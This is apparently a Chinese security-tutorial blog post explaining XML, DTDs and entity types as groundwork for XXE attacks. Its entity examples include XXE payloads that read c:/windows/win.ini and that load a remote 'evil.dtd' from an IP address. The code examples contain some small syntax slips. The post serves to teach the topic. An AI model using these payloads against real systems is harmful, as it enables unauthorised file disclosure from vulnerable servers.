【Try to Hack】XML
📒博客主页:开心星人的博客主页
🔥系列专栏:Try to Hack
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年6月8日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
@toc
XML介绍
XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的
语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,==XML不使用预定义标记==,因
此可以为标记指定描述数据的名称。
一个XML文件由XML声明(可选)、DTD(可选)、文档元素组成。
语法规则:
(1) XML文档必须有一个根元素
(2) XML元素都必须有一个关闭标签
(3) XML标签对大小写敏感
(4) XML元素必须被正确的嵌套
(5) XML属性值必须加引号
(6) 实体引用,如果把字符 <
放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。所以需要实体化引用为<
(7) XML 中,空格会被保留
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义DTD-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD定义元素
<!--文档类型定义DTD-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本
CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
DTD 就定义了 XML 的根元素是note,然后根元素下面有一些子元素,那么 XML 到时候必须像下面这么写
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD定义实体
==实体分为内部实体、外部实体、参数实体和公共实体==
除外部参数实体引用以字符(%)开始外,其它实体都以字符(&)开始,以字符(;)结束。
在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的
<!--文档类型定义DTD-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >
]>
这个是==内部实体==
定义元素为 ANY 说明接受任何元素
定义了一个 xml 的实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用
文档元素可以这么写
<!--文档元素-->
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
&xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。
外部实体
<!ENTITY 实体名称 SYSTEM "URI/URL">
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
参数实体
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % xxe SYSTEM "http://192.168.18.23/xxe/evil.dtd" >
%an-element;
%xxe;]>
<foo>&evil;</foo>
然后evil.dtd的内容为
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
注意%xxe;
的使用,应该还是比较容易理解的
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
%an-element;
]>
==参数实体在我们 Blind XXE 中起到了至关重要的作用==
公共实体和公用DTD
公用实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
公用DTD
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
和参数实体使用差不多
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe PUBLIC "public_ID" "http://192.168.18.23/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
XML 属性
属性通常提供不属于数据组成部分的信息。在下面的实例中,文件类型与数据无关,但是对需要处理这个元素的软件来说却很重要:如下例,就明确了文件类型为 GIF,方便程序进行处理。
<file type="gif">computer.gif</file>
- 点赞
- 收藏
- 关注作者
评论(0)